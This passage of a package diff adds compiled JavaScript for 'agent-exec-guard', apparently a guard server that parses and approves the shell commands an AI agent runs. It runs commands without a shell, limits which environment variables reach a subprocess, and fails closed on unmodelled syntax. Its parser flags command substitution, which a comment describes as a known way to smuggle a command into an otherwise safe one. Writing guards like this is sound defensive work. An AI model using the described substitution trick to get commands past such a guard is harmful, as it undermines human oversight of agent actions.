C,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,sBAAsB,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IAE5E,IAAI,GAAG,KAAK,QAAQ,EAAE,CAAC;QACrB,sEAAsE;QACtE,+DAA+D;QAC/D,IAAI,cAAc,CAAC,MAAM,GAAG,CAAC;YAAE,OAAO,IAAI,CAAC;IAC7C,CAAC;IAED,uEAAuE;IACvE,wEAAwE;IACxE,yEAAyE;IACzE,KAAK,MAAM,CAAC,IAAI,cAAc,EAAE,CAAC;QAC/B,IAAI,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC;YAAE,OAAO,IAAI,CAAC;IAC1D,CAAC;IAED,OAAO,EAAE,IAAI,EAAE,gBAAgB,GAAG,EAAE,EAAE,CAAC;AACzC,CAAC;AAED,sEAAsE;AACtE,4EAA4E;AAC5E,4EAA4E;AAC5E,2EAA2E;AAC3E,2EAA2E;AAC3E,mEAAmE;AACnE,2EAA2E;AAC3E,0EAA0E;AAC1E,iEAAiE;AACjE,kDAAkD;AAClD,MAAM,gBAAgB,GAAG,IAAI,GAAG,CAAC,CAAC,KAAK,EAAE,MAAM,EAAE,MAAM,CAAC,CAAC,CAAC;AAC1D,MAAM,eAAe,GAAG,4EAA4E,CAAC;AAErG,SAAS,oBAAoB,CAAC,GAAkB;IAC9C,MAAM,GAAG,GAAG,KAAK,CAAC,GAAG,CAAC,CAAC;IACvB,IAAI,CAAC,gBAAgB,CAAC,GAAG,CAAC,GAAG,CAAC,IAAI,CAAC,yBAAyB,CAAC,GAAG,CAAC;QAAE,OAAO,IAAI,CAAC;IAC/E,MAAM,CAAC,GAAG,EAAE,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC;IACjC,IAAI,GAAG,KAAK,SAAS,IAAI,GAAG,KAAK,GAAG,IAAI,GAAG,KAAK,KAAK;QAAE,OAAO,IAAI,CAAC;IAEnE,MAAM,QAAQ,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC;IACvD,MAAM,cAAc,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC;IAE9D,MAAM,YAAY,GAAG,IAAI,GAAG,CAAC,CAAC,QAAQ,EAAE,YAAY,EAAE,IAAI,EAAE,cAAc,EAAE,IAAI,EAAE,WAAW,CAAC,CAAC,CAAC;IAChG,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,YAAY,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IAC7D,IAAI,CAAC,cAAc,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,eAAe,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IAEvE,OAAO,EAAE,IAAI,EAAE,GAAG,GAAG,UAAU,EAAE,CAAC;AACpC,CAAC;AAED,MAAM,gBAAgB,GAAG,IAAI,GAAG,CAAC,CAAC,IAAI,EAAE,KAAK,EAAE,KAAK,EAAE,MAAM,CAAC,CAAC,CAAC;AAE/D,SAAS,gBAAgB,CAAC,GAAkB;IAC1C,MAAM,GAAG,GAAG,KAAK,CAAC,GAAG,CAAC,CAAC;IACvB,IAAI,CAAC,gBAAgB,CAAC,GAAG,CAAC,GAAG,CAAC,IAAI,CAAC,yBAAyB,CAAC,GAAG,CAAC;QAAE,OAAO,IAAI,CAAC;IAC/E,MAAM,IAAI,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC;IAEvB,IAAI,GAAG,KAAK,KAAK;QAAE,OAAO,IAAI,CAAC,MAAM,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC;IAErE,IAAI,GAAG,KAAK,MAAM,EAAE,CAAC;QACnB,qEAAqE;QACrE,oEAAoE;QACpE,yDAAyD;QACzD,MAAM,EAAE,GAAG,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,KAAK,IAAI,IAAI,CAAC,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC;QAC7E,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC;IACtC,CAAC;IAED,kEAAkE;IAClE,MAAM,QAAQ,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC;IACvD,MAAM,cAAc,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC;IAC9D,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,CAAC,IAAI,EAAE,IAAI,EAAE,KAAK,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC,CAAC;IAC3F,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IAC3D,IAAI,CAAC,cAAc,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,kBAAkB,CAAC,CAAC,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IAErE,OAAO,EAAE,IAAI,EAAE,GAAG,GAAG,WAAW,EAAE,CAAC;AACrC,CAAC;AAED,MAAM,eAAe,GAAoD,CAAC,SAAS,EAAE,oBAAoB,EAAE,gBAAgB,CAAC,CAAC;AAE7H,MAAM,UAAU,iBAAiB,CAAC,GAAkB;IAClD,KAAK,MAAM,KAAK,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,KAAK,GAAG,KAAK,CAAC,GAAG,CAAC,CAAC;QACzB,IAAI,KAAK;YAAE,OAAO,KAAK,CAAC;IAC1B,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC"}

package/dist/config.js

@@ -0,0 +1,31 @@
+import { randomBytes } from "node:crypto";
+import path from "node:path";
+function intEnv(name, fallback) {
+    const v = process.env[name];
+    if (v === undefined)
+        return fallback;
+    const n = Number(v);
+    return Number.isFinite(n) ? n : fallback;
+}
+// SERVER_SECRET must never be logged, returned in a tool response, or
+// passed through execFile env to any subprocess. It lives only in this
+// module's closure (see security/secret.ts for the enforced accessor).
+const SERVER_SECRET = process.env.AGENT_EXEC_GUARD_SECRET ?? randomBytes(32).toString("hex");
+if (!process.env.AGENT_EXEC_GUARD_SECRET) {
+    process.stderr.write("[agent-exec-guard] WARNING: AGENT_EXEC_GUARD_SECRET not set -- generated an ephemeral secret. " +
+        "Approval tokens will not survive a server restart. Set AGENT_EXEC_GUARD_SECRET for production use.\n");
+}
+export const config = {
+    serverSecret: SERVER_SECRET,
+    stateDir: path.resolve(process.env.AGENT_EXEC_GUARD_STATE_DIR ?? path.join(process.cwd(), ".agent-exec-guard")),
+    approvalTtlMs: intEnv("AGENT_EXEC_GUARD_APPROVAL_TTL_MS", 5 * 60 * 1000),
+    execTimeoutMs: intEnv("AGENT_EXEC_GUARD_EXEC_TIMEOUT_MS", 2 * 60 * 1000),
+    execMaxBufferBytes: intEnv("AGENT_EXEC_GUARD_EXEC_MAX_BUFFER", 10 * 1024 * 1024),
+    /** When true, exec_guard_request_approval prompts on the server's own
+     * terminal (stdin/stdout) via readline. This is the only approval
+     * channel in v0.1 (Slack integration is v0.3, out of scope here). Set to
+     * false in non-interactive/test environments to auto-deny instead of
+     * hanging on a prompt that will never be answered. */
+    cliApprovalEnabled: process.env.AGENT_EXEC_GUARD_CLI_APPROVAL !== "0",
+};
+//# sourceMappingURL=config.js.map

package/dist/config.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"config.js","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,aAAa,CAAC;AAC1C,OAAO,IAAI,MAAM,WAAW,CAAC;AAE7B,SAAS,MAAM,CAAC,IAAY,EAAE,QAAgB;IAC5C,MAAM,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;IAC5B,IAAI,CAAC,KAAK,SAAS;QAAE,OAAO,QAAQ,CAAC;IACrC,MAAM,CAAC,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;IACpB,OAAO,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC;AAC3C,CAAC;AAED,sEAAsE;AACtE,uEAAuE;AACvE,uEAAuE;AACvE,MAAM,aAAa,GAAG,OAAO,CAAC,GAAG,CAAC,uBAAuB,IAAI,WAAW,CAAC,EAAE,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC;AAC7F,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,uBAAuB,EAAE,CAAC;IACzC,OAAO,CAAC,MAAM,CAAC,KAAK,CAClB,gGAAgG;QAC9F,sGAAsG,CACzG,CAAC;AACJ,CAAC;AAED,MAAM,CAAC,MAAM,MAAM,GAAG;IACpB,YAAY,EAAE,aAAa;IAC3B,QAAQ,EAAE,IAAI,CAAC,OAAO,CAAC,OAAO,CAAC,GAAG,CAAC,0BAA0B,IAAI,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,GAAG,EAAE,EAAE,mBAAmB,CAAC,CAAC;IAE/G,aAAa,EAAE,MAAM,CAAC,kCAAkC,EAAE,CAAC,GAAG,EAAE,GAAG,IAAI,CAAC;IAExE,aAAa,EAAE,MAAM,CAAC,kCAAkC,EAAE,CAAC,GAAG,EAAE,GAAG,IAAI,CAAC;IACxE,kBAAkB,EAAE,MAAM,CAAC,kCAAkC,EAAE,EAAE,GAAG,IAAI,GAAG,IAAI,CAAC;IAEhF;;;;0DAIsD;IACtD,kBAAkB,EAAE,OAAO,CAAC,GAAG,CAAC,6BAA6B,KAAK,GAAG;CACtE,CAAC"}

package/dist/exec/run.js

@@ -0,0 +1,69 @@
+import { execFile } from "node:child_process";
+import { config } from "../config.js";
+// Only a small, explicit set of environment variables is ever forwarded to
+// a subprocess -- never the server's own full environment (which may
+// contain AGENT_EXEC_GUARD_SECRET or other sensitive material), and never
+// anything from the MCP tool call's input.
+const FORWARDED_ENV_VARS = ["PATH", "HOME", "USER", "LANG", "LC_ALL", "TMPDIR", "SHELL"];
+function buildEnv() {
+    const env = {};
+    for (const key of FORWARDED_ENV_VARS) {
+        if (process.env[key] !== undefined)
+            env[key] = process.env[key];
+    }
+    return env;
+}
+/** Runs exactly one already-classified-SAFE (or freshly re-verified via
+ * approval token) simple command via `execFile` with an argv array --
+ * NEVER a shell string. Only the single last stage of a pipeline is
+ * actually invoked directly for now: multi-stage pipelines are executed by
+ * re-materializing each stage as its own execFile call connected by pipes,
+ * never by handing the whole line to `/bin/sh -c`. */
+async function execOne(cmd, cwd, stdinData) {
+    const argv = cmd.argv.map((a) => a.text);
+    const [bin, ...args] = argv;
+    return new Promise((resolve) => {
+        const child = execFile(bin, args, { cwd, env: buildEnv(), timeout: config.execTimeoutMs, maxBuffer: config.execMaxBufferBytes, windowsHide: true }, (error, stdout, stderr) => {
+            const errWithMeta = error;
+            resolve({
+                stdout: stdout?.toString() ?? "",
+                stderr: stderr?.toString() ?? "",
+                exitCode: errWithMeta && typeof errWithMeta.code === "number" ? errWithMeta.code : child.exitCode,
+                timedOut: Boolean(errWithMeta?.killed),
+                truncated: false,
+            });
+        });
+        if (stdinData !== undefined && child.stdin) {
+            child.stdin.write(stdinData);
+            child.stdin.end();
+        }
+        else if (child.stdin) {
+            child.stdin.end();
+        }
+    });
+}
+/**
+ * Executes a fully-parsed, already-approved command. Multi-stage pipelines
+ * are run stage-by-stage, feeding each stage's stdout to the next stage's
+ * stdin, so the whole line never passes through a shell interpreter. This
+ * function does NOT classify or re-classify anything -- callers
+ * (tools/run.ts) must have already established SAFE or a verified approval
+ * token before calling this.
+ */
+export async function executeParsedCommand(parsed, cwd) {
+    let stdinData;
+    let last = { stdout: "", stderr: "", exitCode: 0, timedOut: false, truncated: false };
+    for (let i = 0; i < parsed.stages.length; i++) {
+        const stage = parsed.stages[i];
+        last = await execOne(stage, cwd, stdinData);
+        stdinData = last.stdout;
+        if (last.timedOut || (last.exitCode !== 0 && last.exitCode !== null)) {
+            // Stop the chain on the first failing/timed-out stage, mirroring
+            // shell `set -o pipefail`-ish behavior closely enough for a guard
+            // tool (we are not trying to be a full shell).
+            break;
+        }
+    }
+    return last;
+}
+//# sourceMappingURL=run.js.map

package/dist/exec/run.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"run.js","sourceRoot":"","sources":["../../src/exec/run.ts"],"names":[],"mappings":"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"}

package/dist/index.js

@@ -0,0 +1,6 @@
+import { main } from "./server.js";
+main().catch((err) => {
+    process.stderr.write(`[agent-exec-guard] fatal: ${err instanceof Error ? err.stack : String(err)}\n`);
+    process.exit(1);
+});
+//# sourceMappingURL=index.js.map

package/dist/index.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,aAAa,CAAC;AAEnC,IAAI,EAAE,CAAC,KAAK,CAAC,CAAC,GAAG,EAAE,EAAE;IACnB,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,6BAA6B,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;IACtG,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AAClB,CAAC,CAAC,CAAC"}

package/dist/parser/normalize.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../src/parser/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAcH,yEAAyE;AACzE,0EAA0E;AAC1E,oBAAoB;AACpB,MAAM,eAAe,GACnB,iBAAiB,CAAC;AAEpB,wEAAwE;AACxE,0BAA0B;AAC1B,MAAM,aAAa,GAAG,SAAS,CAAC;AAEhC,0EAA0E;AAC1E,sEAAsE;AACtE,MAAM,eAAe,GAAG,cAAc,CAAC;AAEvC,0EAA0E;AAC1E,2EAA2E;AAC3E,0EAA0E;AAC1E,0EAA0E;AAC1E,yBAAyB;AACzB,MAAM,uBAAuB,GAC3B,iBAAiB,CAAC;AAEpB,MAAM,UAAU,gBAAgB,CAAC,GAAW;IAC1C,IAAI,OAAO,GAAG,KAAK,QAAQ,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAChD,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,eAAe,EAAE,CAAC;IAChD,CAAC;IAED,IAAI,eAAe,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QAC9B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,kCAAkC,EAAE,CAAC;IACnE,CAAC;IACD,IAAI,aAAa,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QAC5B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,gCAAgC,EAAE,CAAC;IACjE,CAAC;IACD,IAAI,eAAe,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QAC9B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,4BAA4B,EAAE,CAAC;IAC7D,CAAC;IACD,IAAI,uBAAuB,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QACtC,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,0CAA0C,EAAE,CAAC;IAC3E,CAAC;IAED,yEAAyE;IACzE,0EAA0E;IAC1E,yEAAyE;IACzE,wCAAwC;IACxC,MAAM,UAAU,GAAG,GAAG,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;IAEzC,0EAA0E;IAC1E,wDAAwD;IACxD,IACE,eAAe,CAAC,IAAI,CAAC,UAAU,CAAC;QAChC,aAAa,CAAC,IAAI,CAAC,UAAU,CAAC;QAC9B,eAAe,CAAC,IAAI,CAAC,UAAU,CAAC;QAChC,uBAAuB,CAAC,IAAI,CAAC,UAAU,CAAC,EACxC,CAAC;QACD,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,sDAAsD,EAAE,CAAC;IACvF,CAAC;IAED,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,UAAU,EAAE,CAAC;AAClC,CAAC"}

package/dist/parser/shellParse.js

@@ -0,0 +1,184 @@
+import pkg from "mvdan-sh";
+const { syntax } = pkg;
+const parser = syntax.NewParser();
+// syntax.BinCmdOperator numeric values, taken from mvdan.cc/sh/v3/syntax
+// (there is no exported symbolic constant in the JS binding, only the raw
+// int, so we pin the values here with a regression test in
+// test/unit/parser.test.ts asserting each maps to the operator we expect).
+const BIN_OP = {
+    10: "&&",
+    11: "||",
+    12: "|",
+    13: "|&",
+};
+// syntax.RedirOperator numeric values -> symbolic form, for audit/checksum
+// display purposes only (classify/ reasons over `op`, never re-parses it).
+const REDIR_OP = {
+    54: ">",
+    55: ">>",
+    56: "<",
+    57: "<>",
+    58: ">|",
+    59: ">&",
+    60: "<&",
+    61: "<<",
+    62: "<<-",
+    63: "<<<",
+    64: "&>",
+    65: "&>>",
+};
+class Unsupported extends Error {
+}
+function collectWordPart(part, state) {
+    if (!part)
+        return;
+    const t = syntax.NodeType(part);
+    switch (t) {
+        case "Lit":
+            state.text += String(part.Value ?? "");
+            return;
+        case "SglQuoted":
+            state.text += String(part.Value ?? "");
+            return;
+        case "DblQuoted": {
+            const parts = (part.Parts ?? []);
+            for (const p of parts)
+                collectWordPart(p, state);
+            return;
+        }
+        case "ParamExp": {
+            state.hasVariableExpansion = true;
+            const param = part.Param;
+            state.text += `\${${param?.Value ?? "?"}}`;
+            return;
+        }
+        case "CmdSubst":
+            // $(...) or `...` -- the exact CVE-2026-22708 shape when embedded in
+            // an argument to an otherwise-safe command. Never resolvable
+            // statically -> never a plain literal.
+            state.hasSubstitution = true;
+            state.text += "$(...)";
+            return;
+        case "ProcSubst":
+            state.hasSubstitution = true;
+            state.text += "<(...)";
+            return;
+        case "ArithmExp":
+            // Arithmetic expansion can itself contain command substitution.
+            state.hasSubstitution = true;
+            state.text += "$((...))";
+            return;
+        case "ExtGlob":
+            state.hasVariableExpansion = true;
+            state.text += String(part.Pattern?.Value ?? "*");
+            return;
+        default:
+            // Any word-part kind we don't explicitly model (e.g. exotic bash
+            // extensions) is treated as unresolvable, never as a safe literal.
+            state.hasSubstitution = true;
+            state.text += "<?>";
+    }
+}
+function wordToArgToken(word) {
+    const parts = (word?.Parts ?? []);
+    const state = { text: "", hasSubstitution: false, hasVariableExpansion: false };
+    for (const p of parts)
+        collectWordPart(p, state);
+    const quoted = parts.length > 0 && parts.every((p) => {
+        const t = syntax.NodeType(p);
+        return t === "SglQuoted" || t === "DblQuoted";
+    });
+    return { text: state.text, hasSubstitution: state.hasSubstitution, hasVariableExpansion: state.hasVariableExpansion, quoted };
+}
+function stmtRedirects(stmt) {
+    const redirs = (stmt.Redirs ?? []);
+    return redirs.map((r) => {
+        const opNum = Number(r.Op);
+        const op = REDIR_OP[opNum] ?? `unknown(${opNum})`;
+        const target = wordToArgToken(r.Word ?? null);
+        return { op, target };
+    });
+}
+/** Descends one `Stmt` node. Only CallExpr (a plain simple command) and
+ * BinaryCmd (a chain of two stmts joined by &&, ||, |, |&) are understood.
+ * Anything else (subshells, blocks, if/while/for/case, function decls,
+ * arithmetic commands, here-docs used as control flow, etc.) is a construct
+ * this v0.1 classifier does not model -- per the fail-closed rule in
+ * docs/security-model.md, that must surface as a parse failure, not a
+ * silent downgrade. */
+function walkStmt(stmt, out) {
+    const cmd = stmt.Cmd;
+    if (!cmd)
+        throw new Unsupported("empty_statement");
+    const t = syntax.NodeType(cmd);
+    if (t === "CallExpr") {
+        const args = (cmd.Args ?? []);
+        const argv = args.map(wordToArgToken);
+        const redirects = stmtRedirects(stmt);
+        const background = Boolean(stmt.Background);
+        const negated = Boolean(stmt.Negated);
+        const hasSubstitution = argv.some((a) => a.hasSubstitution) || redirects.some((r) => r.target.hasSubstitution);
+        out.stages.push({ argv, redirects, hasSubstitution, background, negated });
+        return;
+    }
+    if (t === "BinaryCmd") {
+        // A BinaryCmd's own wrapping Stmt carrying redirects/background of its
+        // own is a construct we don't need in practice (`(a && b) > f` is a
+        // Subshell, not a bare BinaryCmd) but guard it anyway.
+        if (stmtRedirects(stmt).length > 0 || stmt.Background) {
+            throw new Unsupported("unsupported_binarycmd_wrapper");
+        }
+        const opNum = Number(cmd.Op);
+        const op = BIN_OP[opNum];
+        if (!op)
+            throw new Unsupported(`unknown_binary_operator_${opNum}`);
+        const x = cmd.X;
+        const y = cmd.Y;
+        if (!x || !y)
+            throw new Unsupported("malformed_binary_command");
+        walkStmt(x, out);
+        out.operators.push(op);
+        walkStmt(y, out);
+        return;
+    }
+    // Subshell, Block, IfClause, WhileClause, ForClause, CaseClause,
+    // FuncDecl, ArithmCmd, TestClause, DeclClause, LetClause, TimeClause,
+    // CoprocClause, and anything else: not modeled, fail closed.
+    throw new Unsupported(`unsupported_construct_${t}`);
+}
+/** Parses a normalized command string into a flat pipeline of simple
+ * commands. Never throws -- parse/structural failures come back as
+ * `{ ok: false }` so callers (classify.ts) can fail closed. */
+export function parseShellCommand(normalized) {
+    let file;
+    try {
+        file = parser.Parse(normalized, "cmd.sh");
+    }
+    catch (err) {
+        return { ok: false, reason: `parse_error: ${err instanceof Error ? String(err.message ?? err) : String(err)}`, raw: normalized };
+    }
+    const stmts = (file.Stmts ?? []);
+    if (stmts.length === 0) {
+        return { ok: false, reason: "empty_command", raw: normalized };
+    }
+    const out = { stages: [], operators: [] };
+    try {
+        for (let i = 0; i < stmts.length; i++) {
+            walkStmt(stmts[i], out);
+            const isLast = i === stmts.length - 1;
+            if (!isLast) {
+                // Top-level statements in the File's Stmts list are sequenced by
+                // `;`/newline, unless the preceding one was backgrounded with `&`.
+                const prevBackground = Boolean(stmts[i].Background);
+                out.operators.push(prevBackground ? "&" : ";");
+            }
+        }
+    }
+    catch (err) {
+        const reason = err instanceof Unsupported ? err.message : `parse_error: ${String(err)}`;
+        return { ok: false, reason, raw: normalized };
+    }
+    const parsed = { ok: true, stages: out.stages, operators: out.operators, raw: normalized };
+    return parsed;
+}
+//# sourceMappingURL=shellParse.js.map

package/dist/parser/shellParse.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"shellParse.js","sourceRoot":"","sources":["../../src/parser/shellParse.ts"],"names":[],"mappings":"AAAA,OAAO,GAAG,MAAM,UAAU,CAAC;AAG3B,MAAM,EAAE,MAAM,EAAE,GAAG,GAAG,CAAC;AAUvB,MAAM,MAAM,GAAG,MAAM,CAAC,SAAS,EAAE,CAAC;AAElC,yEAAyE;AACzE,0EAA0E;AAC1E,2DAA2D;AAC3D,2EAA2E;AAC3E,MAAM,MAAM,GAA+B;IACzC,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,GAAG;IACP,EAAE,EAAE,IAAI;CACT,CAAC;AAEF,2EAA2E;AAC3E,2EAA2E;AAC3E,MAAM,QAAQ,GAA2B;IACvC,EAAE,EAAE,GAAG;IACP,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,GAAG;IACP,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,KAAK;IACT,EAAE,EAAE,KAAK;IACT,EAAE,EAAE,IAAI;IACR,EAAE,EAAE,KAAK;CACV,CAAC;AAEF,MAAM,WAAY,SAAQ,KAAK;CAAG;AAElC,SAAS,eAAe,CAAC,IAAmB,EAAE,KAAgF;IAC5H,IAAI,CAAC,IAAI;QAAE,OAAO;IAClB,MAAM,CAAC,GAAG,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;IAChC,QAAQ,CAAC,EAAE,CAAC;QACV,KAAK,KAAK;YACR,KAAK,CAAC,IAAI,IAAI,MAAM,CAAE,IAA2B,CAAC,KAAK,IAAI,EAAE,CAAC,CAAC;YAC/D,OAAO;QACT,KAAK,WAAW;YACd,KAAK,CAAC,IAAI,IAAI,MAAM,CAAE,IAA2B,CAA